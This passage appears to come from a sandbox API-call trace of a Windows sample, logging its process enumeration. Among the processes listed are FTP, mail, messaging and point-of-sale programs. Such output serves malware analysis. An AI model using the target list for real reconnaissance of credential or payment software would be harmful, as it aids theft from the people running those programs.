th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.288] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.291] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.293] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.295] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.297] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.300] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.302] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.304] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.306] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.309] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.312] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.315] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.317] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0240.320] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.322] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.324] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0240.327] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0240.329] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0240.334] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.336] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0240.339] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0240.341] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0240.344] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.346] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.348] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0240.351] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.354] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.357] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0240.359] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0240.361] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0240.363] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0240.365] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0240.368] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0240.370] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0240.372] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0240.373] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0240.376] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0240.378] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0240.449] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0240.451] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0240.453] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0240.456] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0240.460] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0240.462] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0240.464] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0240.466] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0240.469] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0240.472] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0240.474] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0240.476] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0240.479] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0240.482] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0240.485] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0240.487] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0240.491] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0240.494] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0240.497] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0240.500] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0240.504] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0240.507] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0240.515] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0240.518] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0240.521] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0240.525] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0240.528] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0240.530] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0240.533] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0240.536] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0240.539] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0240.542] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0240.544] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0240.547] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0240.549] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0240.552] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0240.554] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0240.556] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0240.591] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0240.594] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0240.597] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0240.599] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0240.602] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0240.605] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0240.609] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0240.612] Process32Next 